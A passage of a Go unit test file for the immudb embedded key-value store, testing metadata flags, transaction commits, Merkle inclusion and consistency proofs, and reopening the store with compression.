immuStore.Get(context.Background(), []byte(\"key1\"))\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, valRef2)\n\t\trequire.Equal(t, hdr2.ID, valRef2.Tx())\n\n\t\tv2, err := valRef2.Resolve()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"value1_tx2\"), v2)\n\n\t\t_, err = tx3.Commit(context.Background())\n\t\trequire.ErrorIs(t, err, ErrTxReadConflict)\n\t})\n}\n\nfunc TestImmudbStoreKVMetadata(t *testing.T) {\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\ttx, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\trequire.NotNil(t, tx)\n\n\ttx.WithMetadata(NewTxMetadata())\n\n\terr = tx.Set([]byte{1, 2, 3}, nil, []byte{3, 2, 1})\n\trequire.NoError(t, err)\n\n\tmd := NewKVMetadata()\n\terr = md.AsDeleted(true)\n\trequire.NoError(t, err)\n\n\terr = tx.Set([]byte{1, 2, 3}, md, []byte{3, 2, 1})\n\trequire.NoError(t, err)\n\n\t_, err = tx.Commit(context.Background())\n\trequire.NoError(t, err)\n\n\t_, err = immuStore.Get(context.Background(), []byte{1, 2, 3})\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\tvalRef, err := immuStore.GetWithFilters(context.Background(), []byte{1, 2, 3})\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(1), valRef.Tx())\n\trequire.True(t, valRef.KVMetadata().Deleted())\n\trequire.Equal(t, uint64(1), valRef.HC())\n\trequire.Equal(t, uint32(3), valRef.Len())\n\trequire.Equal(t, sha256.Sum256([]byte{3, 2, 1}), valRef.HVal())\n\trequire.Nil(t, valRef.TxMetadata())\n\n\tv, err := valRef.Resolve()\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte{3, 2, 1}, v)\n\n\tt.Run(\"read deleted key from snapshot should return key not found\", func(t *testing.T) {\n\t\tsnap, err := immuStore.Snapshot(nil)\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, snap)\n\t\tdefer snap.Close()\n\n\t\t_, err = snap.Get(context.Background(), []byte{1, 2, 3})\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\t})\n\n\ttx, err = immuStore.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\n\t_, err = tx.Get(context.Background(), []byte{1, 2, 3})\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\terr = tx.Set([]byte{1, 2, 3}, nil, []byte{1, 1, 1})\n\trequire.NoError(t, err)\n\n\t_, err = tx.Commit(context.Background())\n\trequire.NoError(t, err)\n\tvalRef, err = immuStore.Get(context.Background(), []byte{1, 2, 3})\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(2), valRef.Tx())\n\n\tv, err = valRef.Resolve()\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte{1, 1, 1}, v)\n}\n\nfunc TestImmudbStoreNonIndexableEntries(t *testing.T) {\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\ttx, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\trequire.NotNil(t, tx)\n\n\tmd := NewKVMetadata()\n\terr = md.AsNonIndexable(true)\n\trequire.NoError(t, err)\n\n\terr = tx.Set([]byte(\"nonIndexedKey\"), md, []byte(\"nonIndexedValue\"))\n\trequire.NoError(t, err)\n\n\terr = tx.Set([]byte(\"indexedKey\"), nil, []byte(\"indexedValue\"))\n\trequire.NoError(t, err)\n\n\t_, err = tx.Commit(context.Background())\n\trequire.NoError(t, err)\n\n\t_, err = immuStore.Get(context.Background(), []byte(\"nonIndexedKey\"))\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\tvalRef, err := immuStore.Get(context.Background(), []byte(\"indexedKey\"))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, valRef)\n\n\tval, err := valRef.Resolve()\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(\"indexedValue\"), val)\n\n\t// commit tx with all non-indexable entries\n\ttx, err = immuStore.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\trequire.NotNil(t, tx)\n\n\terr = tx.Set([]byte(\"nonIndexedKey1\"), md, []byte(\"nonIndexedValue1\"))\n\trequire.NoError(t, err)\n\n\t_, err = tx.Commit(context.Background())\n\trequire.NoError(t, err)\n\n\t_, err = immuStore.Get(context.Background(), []byte(\"nonIndexedKey1\"))\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t// commit simple tx with an indexable entry\n\ttx, err = immuStore.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\trequire.NotNil(t, tx)\n\n\terr = tx.Set([]byte(\"indexedKey1\"), nil, []byte(\"indexedValue1\"))\n\trequire.NoError(t, err)\n\n\t_, err = tx.Commit(context.Background())\n\trequire.NoError(t, err)\n\n\tvalRef, err = immuStore.Get(context.Background(), []byte(\"indexedKey1\"))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, valRef)\n\n\tval, err = valRef.Resolve()\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(\"indexedValue1\"), val)\n}\n\nfunc TestImmudbStoreCommitWith(t *testing.T) {\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, immuStore)\n\n\tdefer immustoreClose(t, immuStore)\n\n\t_, err = immuStore.CommitWith(context.Background(), nil, false)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tcallback := func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error) {\n\t\treturn nil, nil, nil\n\t}\n\t_, err = immuStore.CommitWith(context.Background(), callback, false)\n\trequire.ErrorIs(t, err, ErrNoEntriesProvided)\n\n\tcallback = func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error) {\n\t\treturn nil, nil, errors.New(\"error\")\n\t}\n\t_, err = immuStore.CommitWith(context.Background(), callback, false)\n\trequire.Error(t, err)\n\n\tcallback = func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error) {\n\t\treturn []*EntrySpec{\n\t\t\t{Key: []byte(fmt.Sprintf(\"keyInsertedAtTx%d\", txID)), Value: []byte(\"value\")},\n\t\t}, nil, nil\n\t}\n\n\thdr, err := immuStore.CommitWith(context.Background(), callback, true)\n\trequire.NoError(t, err)\n\n\t_, err = immuStore.ReadValue(nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\ttx, err := immuStore.fetchAllocTx()\n\trequire.NoError(t, err)\n\tdefer immuStore.releaseAllocTx(tx)\n\n\timmuStore.ReadTx(hdr.ID, false, tx)\n\n\tentry, err := tx.EntryOf([]byte(fmt.Sprintf(\"keyInsertedAtTx%d\", hdr.ID)))\n\trequire.NoError(t, err)\n\n\tval, err := immuStore.ReadValue(entry)\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(\"value\"), val)\n}\n\nfunc TestImmudbStoreHistoricalValues(t *testing.T) {\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1)\n\topts.WithIndexOptions(opts.IndexOpts.WithFlushThld(10))\n\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, immuStore)\n\n\tdefer immustoreClose(t, immuStore)\n\n\ttxCount := 10\n\teCount := 10\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tfor j := 0; j < eCount; j++ {\n\t\t\tk := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(k, uint64(j))\n\n\t\t\tv := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(v, uint64(i))\n\n\t\t\terr = tx.Set(k, nil, v)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\ttxhdr, err := tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i+1), txhdr.ID)\n\t}\n\n\terr = immuStore.CompactIndexes()\n\trequire.NoError(t, err)\n\n\tvar wg sync.WaitGroup\n\twg.Add(1)\n\n\tfor f := 0; f < 1; f++ {\n\t\tgo func() {\n\t\t\tfor {\n\t\t\t\tsnap, err := immuStore.Snapshot(nil)\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\tfor i := 0; i < int(snap.Ts()); i++ {\n\t\t\t\t\tfor j := 0; j < eCount; j++ {\n\t\t\t\t\t\tk := make([]byte, 8)\n\t\t\t\t\t\tbinary.BigEndian.PutUint64(k, uint64(j))\n\n\t\t\t\t\t\tvalRefs, hCount, err := snap.History(k, 0, false, txCount)\n\t\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t\t\trequire.EqualValues(t, snap.Ts(), len(valRefs))\n\t\t\t\t\t\trequire.EqualValues(t, snap.Ts(), hCount)\n\n\t\t\t\t\t\tfor _, valRef := range valRefs {\n\t\t\t\t\t\t\tv := make([]byte, 8)\n\t\t\t\t\t\t\tbinary.BigEndian.PutUint64(v, valRef.Tx()-1)\n\n\t\t\t\t\t\t\tval, err := valRef.Resolve()\n\t\t\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t\t\t\trequire.Equal(t, v, val)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tsnap.Close()\n\n\t\t\t\tif snap.Ts() == uint64(txCount) {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\ttime.Sleep(time.Duration(100) * time.Millisecond)\n\t\t\t}\n\t\t\twg.Done()\n\t\t}()\n\t}\n\n\twg.Wait()\n}\n\nfunc TestImmudbStoreCompapactionDisabled(t *testing.T) {\n\topts := DefaultOptions().WithCompactionDisabled(true)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\terr = immuStore.CompactIndexes()\n\trequire.ErrorIs(t, err, ErrCompactionDisabled)\n}\n\nfunc TestImmudbStoreInclusionProof(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1)\n\timmuStore, err := Open(dir, opts)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, immuStore)\n\n\ttxCount := 100\n\teCount := 100\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\ttx.WithMetadata(NewTxMetadata())\n\n\t\tfor j := 0; j < eCount; j++ {\n\t\t\tk := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(k, uint64(i<<4+j))\n\n\t\t\tv := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j)))\n\n\t\t\terr = tx.Set(k, NewKVMetadata(), v)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\ttxhdr, err := tx.AsyncCommit(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i+1), txhdr.ID)\n\t}\n\n\terr = immuStore.Sync()\n\trequire.NoError(t, err)\n\n\terr = immuStore.Close()\n\trequire.NoError(t, err)\n\n\t_, err = immuStore.CommitWith(context.Background(), func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error) {\n\t\treturn []*EntrySpec{\n\t\t\t{Key: []byte(fmt.Sprintf(\"keyInsertedAtTx%d\", txID)), Value: nil},\n\t\t}, nil, nil\n\t}, false)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\timmuStore, err = Open(dir, opts)\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\ttx := tempTxHolder(t, immuStore)\n\n\tr, err := immuStore.NewTxReader(1, false, tx)\n\trequire.NoError(t, err)\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := r.Read()\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\n\t\tentrySpecDigest, err := EntrySpecDigestFor(tx.header.Version)\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, entrySpecDigest)\n\n\t\ttxEntries := tx.Entries()\n\t\tassert.Equal(t, eCount, len(txEntries))\n\n\t\tfor j, e := range txEntries {\n\t\t\trequire.True(t, e.readonly)\n\n\t\t\tproof, err := tx.Proof(e.key())\n\t\t\trequire.NoError(t, err)\n\n\t\t\tkey := txEntries[j].key()\n\n\t\t\tki, err := tx.IndexOf(key)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, j, ki)\n\n\t\t\tvalue := make([]byte, txEntries[j].vLen)\n\t\t\t_, err = immuStore.readValueAt(value, txEntries[j].VOff(), txEntries[j].HVal(), false)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tk := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(k, uint64(i<<4+j))\n\n\t\t\tv := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j)))\n\n\t\t\trequire.Equal(t, k, key)\n\t\t\trequire.Equal(t, v, value)\n\n\t\t\teSpec := &EntrySpec{Key: key, Metadata: NewKVMetadata(), Value: value}\n\n\t\t\tverifies := htree.VerifyInclusion(proof, entrySpecDigest(eSpec), tx.header.Eh)\n\t\t\trequire.True(t, verifies)\n\n\t\t\tv, err = immuStore.ReadValue(e)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, value, v)\n\t\t}\n\t}\n\n\tt.Run(\"reading value from non-readonly entry should fail\", func(t *testing.T) {\n\t\t_, err = immuStore.ReadValue(NewTxEntry([]byte(\"key\"), NewKVMetadata(), 0, sha256.Sum256(nil), 0))\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n}\n\nfunc TestLeavesMatchesAHTSync(t *testing.T) {\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\trequire.NotNil(t, immuStore)\n\n\ttxCount := 1000\n\teCount := 10\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tfor j := 0; j < eCount; j++ {\n\t\t\tk := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(k, uint64(i<<4+j))\n\n\t\t\tv := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j)))\n\n\t\t\terr = tx.Set(k, nil, v)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\ttxhdr, err := tx.AsyncCommit(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i+1), txhdr.ID)\n\n\t\terr = immuStore.WaitForTx(context.Background(), txhdr.ID, false)\n\t\trequire.NoError(t, err)\n\n\t\terr = immuStore.WaitForIndexingUpto(context.Background(), txhdr.ID)\n\t\trequire.NoError(t, err)\n\n\t\tvar k0 [8]byte\n\t\t_, _, err = immuStore.GetWithPrefix(context.Background(), k0[:], nil)\n\t\trequire.NoError(t, err)\n\t}\n\n\ttx := tempTxHolder(t, immuStore)\n\n\tfor i := 0; i < txCount; i++ {\n\t\terr := immuStore.ReadTx(uint64(i+1), false, tx)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i+1), tx.header.ID)\n\n\t\tp, err := immuStore.aht.DataAt(uint64(i + 1))\n\t\trequire.NoError(t, err)\n\n\t\talh := tx.header.Alh()\n\t\trequire.Equal(t, alh[:], p)\n\t}\n}\n\nfunc TestLeavesMatchesAHTASync(t *testing.T) {\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\trequire.NotNil(t, immuStore)\n\n\ttxCount := 1000\n\teCount := 10\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tfor j := 0; j < eCount; j++ {\n\t\t\tk := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(k, uint64(i<<4+j))\n\n\t\t\tv := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j)))\n\n\t\t\terr = tx.Set(k, nil, v)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\ttxhdr, err := tx.AsyncCommit(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i+1), txhdr.ID)\n\t}\n\n\ttx := tempTxHolder(t, immuStore)\n\n\tfor i := 0; i < txCount; i++ {\n\t\terr := immuStore.ReadTx(uint64(i+1), false, tx)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i+1), tx.header.ID)\n\n\t\tp, err := immuStore.aht.DataAt(uint64(i + 1))\n\t\trequire.NoError(t, err)\n\n\t\talh := tx.header.Alh()\n\t\trequire.Equal(t, alh[:], p)\n\t}\n}\n\nfunc TestImmudbStoreConsistencyProof(t *testing.T) {\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\trequire.NotNil(t, immuStore)\n\n\ttxCount := 16\n\teCount := 10\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\ttx.WithMetadata(NewTxMetadata())\n\n\t\tfor j := 0; j < eCount; j++ {\n\t\t\tk := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(k, uint64(i<<4+j))\n\n\t\t\tv := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j)))\n\n\t\t\terr = tx.Set(k, nil, v)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\ttxhdr, err := tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i+1), txhdr.ID)\n\t}\n\n\tsourceTx := tempTxHolder(t, immuStore)\n\ttargetTx := tempTxHolder(t, immuStore)\n\n\tfor i := 0; i < txCount; i++ {\n\t\tsourceTxID := uint64(i + 1)\n\n\t\terr := immuStore.ReadTx(sourceTxID, false, sourceTx)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i+1), sourceTx.header.ID)\n\n\t\tfor j := i; j < txCount; j++ {\n\t\t\ttargetTxID := uint64(j + 1)\n\n\t\t\terr := immuStore.ReadTx(targetTxID, false, targetTx)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, uint64(j+1), targetTx.header.ID)\n\n\t\t\tdproof, err := immuStore.DualProof(sourceTx.Header(), targetTx.Header())\n\t\t\trequire.NoError(t, err)\n\n\t\t\tverifies := VerifyDualProof(dproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh())\n\t\t\trequire.True(t, verifies)\n\n\t\t\tdproofV2, err := immuStore.DualProofV2(sourceTx.Header(), targetTx.Header())\n\t\t\trequire.NoError(t, err)\n\n\t\t\tverifiesV2 := VerifyDualProofV2(dproofV2, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh())\n\t\t\trequire.NoError(t, verifiesV2)\n\t\t}\n\t}\n}\n\nfunc TestImmudbStoreConsistencyProofAgainstLatest(t *testing.T) {\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\trequire.NotNil(t, immuStore)\n\n\ttxCount := 32\n\teCount := 10\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tfor j := 0; j < eCount; j++ {\n\t\t\tk := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(k, uint64(i<<4+j))\n\n\t\t\tv := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j)))\n\n\t\t\terr = tx.Set(k, nil, v)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\ttxhdr, err := tx.AsyncCommit(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i+1), txhdr.ID)\n\t}\n\n\tsourceTx := tempTxHolder(t, immuStore)\n\ttargetTx := tempTxHolder(t, immuStore)\n\n\ttargetTxID := uint64(txCount)\n\terr = immuStore.ReadTx(targetTxID, false, targetTx)\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(txCount), targetTx.header.ID)\n\n\tfor i := 0; i < txCount-1; i++ {\n\t\tsourceTxID := uint64(i + 1)\n\n\t\terr := immuStore.ReadTx(sourceTxID, false, sourceTx)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i+1), sourceTx.header.ID)\n\n\t\tdproof, err := immuStore.DualProof(sourceTx.Header(), targetTx.Header())\n\t\trequire.NoError(t, err)\n\n\t\tverifies := VerifyDualProof(dproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh())\n\t\trequire.True(t, verifies)\n\n\t\tdproofV2, err := immuStore.DualProofV2(sourceTx.Header(), targetTx.Header())\n\t\trequire.NoError(t, err)\n\n\t\tverifiesV2 := VerifyDualProofV2(dproofV2, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh())\n\t\trequire.NoError(t, verifiesV2)\n\t}\n}\n\nfunc TestImmudbStoreConsistencyProofReopened(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1)\n\timmuStore, err := Open(dir, opts)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, immuStore)\n\n\ttxCount := 16\n\teCount := 100\n\n\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\trequire.NoError(t, err)\n\n\t_, err = tx.Commit(context.Background())\n\trequire.ErrorIs(t, err, ErrNoEntriesProvided)\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tfor j := 0; j < eCount; j++ {\n\t\t\tk := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(k, uint64(i<<4+j))\n\n\t\t\tv := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j)))\n\n\t\t\terr = tx.Set(k, nil, v)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\ttxhdr, err := tx.AsyncCommit(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i+1), txhdr.ID)\n\n\t\tcurrentID, currentAlh := immuStore.CommittedAlh()\n\t\trequire.Equal(t, txhdr.ID, currentID)\n\t\trequire.Equal(t, txhdr.Alh(), currentAlh)\n\t}\n\n\terr = immuStore.Sync()\n\trequire.NoError(t, err)\n\n\terr = immuStore.Close()\n\trequire.NoError(t, err)\n\n\tos.RemoveAll(filepath.Join(dir, \"aht\"))\n\n\timmuStore, err = Open(dir, opts.WithMaxValueLen(opts.MaxValueLen-1))\n\trequire.NoError(t, err)\n\n\ttxholder := tempTxHolder(t, immuStore)\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttxID := uint64(i + 1)\n\n\t\tri, err := immuStore.NewTxReader(txID, false, txholder)\n\t\trequire.NoError(t, err)\n\n\t\ttxi, err := ri.Read()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i+1), txi.header.ID)\n\t}\n\n\tsourceTx := tempTxHolder(t, immuStore)\n\ttargetTx := tempTxHolder(t, immuStore)\n\n\tfor i := 0; i < txCount; i++ {\n\t\tsourceTxID := uint64(i + 1)\n\n\t\terr := immuStore.ReadTx(sourceTxID, false, sourceTx)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i+1), sourceTx.header.ID)\n\n\t\tfor j := i + 1; j < txCount; j++ {\n\t\t\ttargetTxID := uint64(j + 1)\n\n\t\t\terr := immuStore.ReadTx(targetTxID, false, targetTx)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, uint64(j+1), targetTx.header.ID)\n\n\t\t\tlproof, err := immuStore.LinearProof(sourceTxID, targetTxID)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tverifies := VerifyLinearProof(lproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh())\n\t\t\trequire.True(t, verifies)\n\n\t\t\tdproof, err := immuStore.DualProof(sourceTx.Header(), targetTx.Header())\n\t\t\trequire.NoError(t, err)\n\n\t\t\tverifies = VerifyDualProof(dproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh())\n\t\t\trequire.True(t, verifies)\n\n\t\t\tdproofV2, err := immuStore.DualProofV2(sourceTx.Header(), targetTx.Header())\n\t\t\trequire.NoError(t, err)\n\n\t\t\tverifiesV2 := VerifyDualProofV2(dproofV2, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh())\n\t\t\trequire.NoError(t, verifiesV2)\n\t\t}\n\t}\n\n\terr = immuStore.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestReOpeningImmudbStore(t *testing.T) {\n\tdir := t.TempDir()\n\n\titCount := 3\n\ttxCount := 100\n\teCount := 10\n\n\tfor it := 0; it < itCount; it++ {\n\t\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1)\n\t\timmuStore, err := Open(dir, opts)\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i < txCount; i++ {\n\t\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor j := 0; j < eCount; j++ {\n\t\t\t\tk := make([]byte, 8)\n\t\t\t\tbinary.BigEndian.PutUint64(k, uint64(i<<4+j))\n\n\t\t\t\tv := make([]byte, 8)\n\t\t\t\tbinary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j)))\n\n\t\t\t\terr = tx.Set(k, nil, v)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\n\t\t\ttxhdr, err := tx.AsyncCommit(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, uint64(it*txCount+i+1), txhdr.ID)\n\t\t}\n\n\t\terr = immuStore.Close()\n\t\trequire.NoError(t, err)\n\t}\n}\n\nfunc TestReOpeningWithCompressionEnabledImmudbStore(t *testing.T) {\n\tdir := t.TempDir()\n\n\titCount := 3\n\ttxCount := 100\n\teCount := 10\n\n\tfor it := 0; it < itCount; it++ {\n\t\topts := DefaultOptions().\n\t\t\tWithSynced(false).\n\t\t\tWithCompressionFormat(appendable.GZipCompression).\n\t\t\tWithCompresionLevel(appendable.DefaultCompression).\n\t\t\tWithMaxConcurrency(1)\n\n\t\timmuStore, err := Open(dir, opts)\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i < txCount; i++ {\n\t\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor j := 0; j < eCount; j++ {\n\t\t\t\tk := make([]byte, 8)\n\t\t\t\tbinary.BigEndian.PutUint64(k, uint64(i<<4+j))\n\n\t\t\t\tv := make([]byte, 8)\n\t\t\t\tbinary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j)))\n\n\t\t\t\terr = tx.Set(k, nil, v)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\n\t\t\ttxhdr, err := tx.AsyncCommit(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, uint64(it*txCount+i+1), txhdr.ID)\n\t\t}\n\n\t\terr = immuStore.Close()\n\t\trequire.NoError(t, err)\n\t}\n}\n\nfunc TestUncommittedTxOverwriting(t *testing.T) {\n\tpath := t.TempDir()\n\n\topts := DefaultOptions().\n\t\tWithEmbeddedValues(false).\n\t\tWithMaxConcurrency(3)\n\n\tmetadata := appendable.NewMetadata(nil)\n\tmetadata.PutInt(metaVersion, Version)\n\tmetadata.PutBool(metaEmbeddedValues, false)\n\tmetadata.PutBool(metaPreallocFiles, false)\n\tmetadata.PutInt(metaFileSize, opts.FileSize)\n\tmetadata.PutInt(metaMaxTxEntries, opts.MaxTxEntries)\n\tmetadata.PutInt(metaMaxKeyLen, opts.MaxKeyLen)\n\tmetadata.PutInt(metaMaxValueLen, opts.MaxValueLen)\n\n\tappendableOpts := multiapp.DefaultOptions().\n\t\tWithReadOnly(opts.ReadOnly).\n\t\tWithRetryableSync(opts.Synced).\n\t\tWithFileMode(opts.FileMode).\n\t\tWithMetadata(metadata.Bytes())\n\n\tvLogPath := filepath.Join(path, \"val_0\")\n\tappendableOpts.WithFileExt(\"val\")\n\tvLog, err := multiapp.Open(vLogPath, appendableOpts)\n\trequire.NoError(t, err)\n\n\ttxLogPath := filepath.Join(path, \"tx\")\n\tappendableOpts.WithFileExt(\"tx\")\n\ttxLog, err := multiapp.Open(txLogPath, appendableOpts)\n\trequire.NoError(t, err)\n\n\tcLogPath := 